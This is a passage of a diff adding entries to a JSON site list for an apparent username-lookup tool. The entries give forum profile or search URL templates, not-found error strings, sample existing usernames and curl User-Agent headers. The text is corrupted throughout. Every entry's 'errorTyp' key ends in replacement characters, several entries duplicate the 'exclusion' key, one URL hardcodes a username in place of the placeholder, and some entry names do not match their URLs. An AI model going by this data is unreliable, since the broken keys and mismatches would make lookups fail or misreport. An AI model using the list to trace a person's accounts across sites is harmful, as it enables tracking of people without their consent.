+ "exclusion": "[а-яА-Я]",
+ "url": "https://root-forum.cern.ch/u/{}/summary",
+ "urlMain": "https://root-forum.cern.ch",
+ "usernameON": "bellenot",
+ "bad_site": ""
+ },
+ "Forum_rosalinux": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Информация ",
+ "errorMsg2": "Подходящих тем или сообщений не найдено.",
+ "errorMsg3": "Вы не можете произвести поиск сразу после предыдущего",
+ "errorTyp��": "message",
+ "url": "https://forum.rosalinux.ru/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.rosalinux.ru",
+ "comments": "cf",
+ "usernameON": "Kelpee",
+ "bad_site": ""
+ },
+ "Forum_rosen": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://forum.rosen.com/u/{}/summary",
+ "urlMain": "https://forum.rosen.com",
+ "usernameON": "rdu2018",
+ "bad_site": ""
+ },
+ "Forum_roses": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://roses.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://roses.ucoz.ru",
+ "usernameON": "Roses",
+ "bad_site": ""
+ },
+ "Forum_rostov": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://forum-rostov.ucoz.org/index/8-0-{}",
+ "urlMain": "https://forum-rostov.ucoz.org",
+ "usernameON": "Надя",
+ "bad_site": ""
+ },
+ "Forum_rotarusofi": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rotarusofi.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rotarusofi.ucoz.ru",
+ "usernameON": "Zvezdochka",
+ "bad_site": ""
+ },
+ "Forum_rottweiler": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "http://rottweiler.ucoz.ru/index/8-0-{}",
+ "urlMain": "http://rottweiler.ucoz.ru/",
+ "usernameON": "Лекс2003",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_router": {
+ "country": "🇨🇦",
+ "country_klas": "CA",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.routerforums.com/members/?username={}",
+ "urlMain": "https://www.routerforums.com",
+ "usernameON": "difalkner",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_royalcaribbeanblog": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.royalcaribbeanblog.com/boards/index.php?/search/&q={}&quick=1&type=core_members",
+ "urlMain": "https://www.royalcaribbeanblog.com/",
+ "usernameON": "mamashark",
+ "bad_site": ""
+ },
+ "Forum_rpg_net": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.rpg.net/members/?username={}",
+ "urlMain": "https://forum.rpg.net",
+ "usernameON": "muddypaw",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_rpgcodex": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://rpgcodex.net/forums/members/?username={}",
+ "urlMain": "https://rpgcodex.net",
+ "usernameON": "jed",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_rpgnuke": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "0 результатов",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://forum.rpgnuke.ru/search/?q={}&type=core_members",
+ "urlMain": "https://forum.rpgnuke.ru",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_Rt20_getbb": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "http://www.rt20.getbb.ru/search.php?keywords=&terms=all&author=Tekumze111",
+ "urlMain": "http://www.rt20.getbb.ru",
+ "usernameON": "vevk",
+ "comments": "RUblock",
+ "bad_site": ""
+ },
+ "Forum_ru-xbox": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ru-xbox.ru/index/8-0-{}",
+ "urlMain": "https://ru-xbox.ru",
+ "usernameON": "D1mkanx",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_ru_minecraft": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://ru-minecraft.ru/user/{}",
+ "urlMain": "https://ru-minecraft",
+ "usernameON": "dedepete",
+ "bad_site": ""
+ },
+ "Forum_rudtp": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://forum.rudtp.ru/members/?username={}",
+ "urlMain": "https://forum.rudtp.ru/",
+ "usernameON": "irma190",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_rugby": {
+ "country": "🇮🇹",
+ "country_klas": "IT",
+ "errorMsg": "Nessun argomento o messaggio con",
+ "errorMsg2": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forum.rugby.it/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.rugby.it",
+ "usernameON": "admin",
+ "comments": "super",
+ "bad_site": 1
+ },
+ "Forum_rumyantsevo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rurip.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rurip.ucoz.ru",
+ "usernameON": "lomaempochtu",
+ "bad_site": ""
+ },
+ "Forum_rus-sv-relig": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rus-sv.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://rus-sv.ucoz.ru/",
+ "usernameON": "%D0%9E%D0%BB%D0%B0",
+ "bad_site": ""
+ },
+ "Forum_rus_pravda": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://русскаяправда.su/index/8-0-{}",
+ "urlMain": "http://русскаяправда.su",
+ "usernameON": "PashaAlexpit",
+ "bad_site": ""
+ },
+ "Forum_rusartknife": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rushistory.3dn.ru/index/8-0-{}",
+ "urlMain": "https://rushistory.3dn.ru",
+ "usernameON": "uesterr",
+ "bad_site": ""
+ },
+ "Forum_rusich_ua": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://rusich.at.ua/index/8-0-{}",
+ "urlMain": "https://rusich.at.ua",
+ "usernameON": "gh1990",
+ "bad_site": ""
+ },
+ "Forum_ruskeys": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr>403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://ruspatriot.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://ruspatriot.ucoz.ru/",
+ "usernameON": "emailomaempochty",
+ "bad_site": ""
+ },
+ "Forum_russiainwar": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://russian-france.ru/index/8-0-{}",
+ "urlMain": "http://russian-france.ru",
+ "usernameON": "Airin",
+ "bad_site": ""
+ },
+ "Forum_russianskyeterriers": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://russims.ru/index/8-0-{}",
+ "urlMain": "http://russims.ru",
+ "usernameON": "Nikolette",
+ "bad_site": ""
+ },
+ "Forum_russkie": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://russkie.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://russkie.ucoz.ru",
+ "usernameON": "russkie",
+ "bad_site": ""
+ },
+ "Forum_rvnetwork": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "0 results",
+ "errorMsg2": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.rvnetwork.com/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://www.rvnetwork.com/",
+ "usernameON": "GeorgiaHybrid",
+ "bad_site": ""
+ },
+ "Forum_rwg_cc": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://rwg.cc/search/?q={}&quick=1&type=core_members",
+ "urlMain": "https://rwg.cc",
+ "usernameON": "Mike",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_rx7fb": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Information",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "http://www.rx7fb.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "http://www.rx7fb.com",
+ "usernameON": "Hellramsden",
+ "bad_site": ""
+ },
+ "Forum_ryazandog": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "exclusion": "[а-яА-Я]",
+ "errorMsg": "профиль забанен",
+ "errorMsg2": "tr> 403 Forbidden",
+ "errorTyp��": "message",
+ "url": "https://rybnoe.net/index/8-0-{}",
+ "urlMain": "https://rybnoe.net",
+ "usernameON": "alavatsky",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_rzn": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация",
+ "errorTyp��": "message",
+ "url": "https://forum.rzn.info/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://forum.rzn.info",
+ "usernameON": "Williamhar",
+ "bad_site": ""
+ },
+ "Forum_rzngmu": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://rzngmu.ru/index/8-0-{}",
+ "urlMain": "http://rzngmu.ru/",
+ "usernameON": "artem300",
+ "bad_site": ""
+ },
+ "Forum_s-kh": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.s-kh.ru/index/8-0-{}",
+ "urlMain": "http://www.s-kh.ru",
+ "usernameON": "fillkenna",
+ "bad_site": ""
+ },
+ "Forum_s4me": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.s4me.info/members/?username={}",
+ "urlMain": "https://www.s4me.info",
+ "usernameON": "adrian",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_s7staff": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "К сожалению",
+ "errorMsg2": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://s7staff.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top",
+ "urlMain": "https://s7staff.kamrbb.ru",
+ "usernameON": "yadn",
+ "bad_site": ""
+ },
+ "Forum_saabcentral": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.saabcentral.com/members/?username={}",
+ "urlMain": "https://www.saabcentral.com",
+ "usernameON": "aerokyle",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_sabnzbd": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Information",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://forums.sabnzbd.org/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://forums.sabnzbd.org",
+ "usernameON": "adam",
+ "bad_site": ""
+ },
+ "Forum_saddoboxing": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not registere",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://www.saddoboxing.com/boxingforum/member.php?username={}",
+ "urlMain": "https://www.saddoboxing.com",
+ "usernameON": "Beanz",
+ "comments": "ZAK_user",
+ "bad_site": 1
+ },
+ "Forum_safakulevo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://safakulevo.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://safakulevo.ucoz.ru",
+ "usernameON": "ninokids",
+ "bad_site": ""
+ },
+ "Forum_sailboards": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "Information",
+ "errorMsg2": "| Cloudflare",
+ "errorMsg3": "Please wait",
+ "errorTyp��": "message",
+ "url": "https://sailboardsforum.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search",
+ "urlMain": "https://sailboardsforum.com",
+ "usernameON": "Arf",
+ "bad_site": ""
+ },
+ "Forum_sailingforums": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://sailingforums.com/members/?username={}",
+ "urlMain": "https://sailingforums.com",
+ "usernameON": "sweetime",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_sailnet": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.sailnet.com/members/?username={}",
+ "urlMain": "https://www.sailnet.com",
+ "usernameON": "colemj",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_saintsrowmods": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-я-А-Я]",
+ "url": "https://www.saintsrowmods.com/forum/members/?username={}",
+ "urlMain": "https://www.saintsrowmods.com",
+ "usernameON": "elchuy",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_salekhardnews": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "url": "https://salekhardnews.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://salekhardnews.ucoz.ru",
+ "usernameON": "ACID",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_salfetka": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://salfetka.at.ua/index/8-0-{}",
+ "urlMain": "https://salfetka.at.ua",
+ "usernameON": "Yarinka",
+ "bad_site": ""
+ },
+ "Forum_salo": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://salo.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://salo.ucoz.ru",
+ "usernameON": "Vitalinestik",
+ "bad_site": ""
+ },
+ "Forum_salon-gala": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://salon-gala.moy.su/index/8-0-{}",
+ "urlMain": "https://salon-gala.moy.su",
+ "usernameON": "hairs",
+ "bad_site": ""
+ },
+ "Forum_salsa": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.salsaforums.com/members/?username={}",
+ "urlMain": "https://www.salsaforums.com",
+ "usernameON": "so1001",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ },
+ "bad_site": ""
+ },
+ "Forum_samara-clad": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://samara-clad.ru/index/8-0-{}",
+ "urlMain": "http://samara-clad.ru",
+ "usernameON": "Dersu",
+ "comments": "Oplata",
+ "bad_site": ""
+ },
+ "Forum_samara-gaming": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://samara-gaming.clan.su/index/8-0-{}",
+ "urlMain": "https://samara-gaming.clan.su",
+ "usernameON": "deirdremo3",
+ "bad_site": ""
+ },
+ "Forum_samarahunter": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "404 Not Found",
+ "errorTyp��": "message",
+ "url": "http://samarahunter.ru/forums/member.php?username={}",
+ "urlMain": "http://samarahunter.ru",
+ "usernameON": "Lonsdale",
+ "bad_site": ""
+ },
+ "Forum_samatow": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://samatow.my1.ru/index/8-0-{}",
+ "urlMain": "https://samatow.my1.ru/",
+ "usernameON": "plats",
+ "bad_site": ""
+ },
+ "Forum_samimiyat": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://samimiyat.ucoz.net/index/8-0-{}",
+ "urlMain": "https://samimiyat.ucoz.net",
+ "usernameON": "MaRJoNa",
+ "bad_site": ""
+ },
+ "Forum_samovar": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://www.samovar-forum.ru/index/8-0-{}",
+ "urlMain": "https://www.samovar-forum.ru",
+ "usernameON": "MrKoteika",
+ "bad_site": ""
+ },
+ "Forum_samp-rp": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://samp-rp.online/members/?username={}",
+ "urlMain": "https://samp-rp.online",
+ "usernameON": "allen_tyanytov",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_samp-sektor": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://www.samp-sektor-2.ru/index/8-0-{}",
+ "urlMain": "http://www.samp-sektor-2.ru",
+ "usernameON": "wellnemo7",
+ "bad_site": ""
+ },
+ "Forum_samp-top": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403",
+ "errorTyp��": "message",
+ "url": "https://samp-top.at.ua/index/8-0-{}",
+ "urlMain": "https://samp-top.at.ua",
+ "usernameON": "Diablo",
+ "bad_site": "",
+ "exclusion": "\\W"
+ },
+ "Forum_samru": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Информация отсутствует",
+ "errorMsg2": "Пожалуйста, подождите",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.samru.ru/new/forum/userinfo/user_{}.html",
+ "urlMain": "https://www.samru.ru",
+ "usernameON": "Ken",
+ "bad_site": ""
+ },
+ "Forum_sanatorii": {
+ "country": "🇧🇾",
+ "country_klas": "BY",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Санатории Беларуси Белоруссии • Информация ",
+ "errorMsg3": "SQL ERROR",
+ "errorTyp��": "message",
+ "url": "http://forum.sanatorii.by/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://forum.sanatorii.by",
+ "usernameON": "pavlovich",
+ "bad_site": ""
+ },
+ "Forum_sannata": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено.",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "https://www.phantom.sannata.org/search.php?keywords=&terms=all&author={}",
+ "urlMain": "https://www.phantom.sannata.org",
+ "usernameON": "RafGul",
+ "bad_site": ""
+ },
+ "Forum_santacruz": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.santacruzforums.com/members/?username={}",
+ "urlMain": "https://www.santacruzforums.com",
+ "usernameON": "cargonaut",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_santechniki": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Не найдено ни одного пользователя",
+ "errorMsg2": "action=\"./ucp.php?mode=login\">",
+ "errorTyp��": "message",
+ "url": "https://santechniki.com/memberlist.php?username={}",
+ "urlMain": "https://santechniki.com",
+ "usernameON": "Murza74",
+ "bad_site": ""
+ },
+ "Forum_santehnik": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено",
+ "errorMsg2": "Информация ",
+ "errorTyp��": "message",
+ "url": "http://сантехсвар.рф/search.php?keywords=&terms=all&author={}",
+ "urlMain": "http://сантехсвар.рф",
+ "usernameON": "SVAR",
+ "bad_site": ""
+ },
+ "Forum_sape": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "url": "http://forum.sape.ru/member.php?username={}",
+ "urlMain": "http://forum.sape.ru",
+ "usernameON": "Nike99",
+ "comments": "Archive",
+ "bad_site": 1
+ },
+ "Forum_saranskchess": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "pr('','','',''",
+ "errorMsg2": "профиль ",
+ "errorTyp��": "message",
+ "url": "https://saranskchess.forum24.ru/?32-{}",
+ "urlMain": "https://saranskchess.forum24.ru",
+ "usernameON": "admin",
+ "bad_site": ""
+ },
+ "Forum_Sat-prof_BLOCK_RU_IP": {
+ "country": "🇺🇦",
+ "country_klas": "UA",
+ "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.",
+ "errorMsg2": "content=\"noindex,follow",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://sat-prof.com.ua/member.php?username={}",
+ "urlMain": "https://sat-prof.com.ua",
+ "usernameON": "kreshnot",
+ "bad_site": ""
+ },
+ "Forum_satisfacktion": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://satisfacktion.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://satisfacktion.ucoz.ru",
+ "usernameON": "satisfacktion",
+ "bad_site": ""
+ },
+ "Forum_sauna": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorTyp��": "status_code",
+ "exclusion": "[а-яА-Я]",
+ "url": "https://www.saunaforums.com/forums/users/{}/",
+ "urlMain": "https://www.saunaforums.com",
+ "usernameON": "rick",
+ "comments": "cf",
+ "bad_site": 1
+ },
+ "Forum_saunabauen": {
+ "country": "🇩🇪",
+ "country_klas": "DE",
+ "errorMsg": "Es wurden keine passenden Ergebnisse gefunden",
+ "errorMsg2": "Information",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.saunabauen.de/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Suche",
+ "urlMain": "https://www.saunabauen.de",
+ "usernameON": "klaus",
+ "bad_site": ""
+ },
+ "Forum_savasleyka": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://savasleyka.ru/index/8-0-{}",
+ "urlMain": "http://savasleyka.ru",
+ "usernameON": "catalogs123123",
+ "bad_site": ""
+ },
+ "Forum_say7": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Подходящих тем или сообщений не найдено",
+ "errorMsg2": " ",
+ "errorTyp��": "message",
+ "url": "https://forum.say7.info/search.php?search_author={}",
+ "urlMain": "https://forum.say7.info",
+ "usernameON": "Fia-Lka",
+ "bad_site": ""
+ },
+ "Forum_sayyod": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "http://sayyod.com/index/8-0-{}",
+ "urlMain": "http://sayyod.com/",
+ "usernameON": "mushkulsavdo",
+ "bad_site": ""
+ },
+ "Forum_sc2mafia": {
+ "country": "🌎",
+ "country_klas": "WR",
+ "errorMsg": "This user has not",
+ "errorMsg2": "Please wait",
+ "errorMsg3": "| Cloudflare",
+ "errorTyp��": "message",
+ "url": "https://www.sc2mafia.com/forum/member.php/?username={}",
+ "urlMain": "https://www.sc2mafia.com",
+ "usernameON": "Gikkle",
+ "bad_site": ""
+ },
+ "Forum_scalemodeladdict": {
+ "country": "🇺🇸",
+ "country_klas": "US",
+ "errorTyp��": "redirection",
+ "exclusion": "\\W|[а-яА-Я]",
+ "url": "https://www.scalemodeladdict.com/members/?username={}",
+ "urlMain": "https://www.scalemodeladdict.com",
+ "usernameON": "spruecutter",
+ "bad_site": "",
+ "headers": {
+ "User-Agent": "curl/8.11.0"
+ }
+ },
+ "Forum_scb": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
+ "errorMsg2": "403 Forbidden ",
+ "errorMsg3": "едеральн",
+ "errorTyp��": "message",
+ "exclusion": "\\W",
+ "url": "https://scb.ucoz.ru/index/8-0-{}",
+ "urlMain": "https://scb.ucoz.ru",
+ "usernameON": "roterb",
+ "bad_site": ""
+ },
+ "Forum_school-1130": {
+ "country": "🇷🇺",
+ "country_klas": "RU",
+ "errorMsg": "Пользователь не найден",
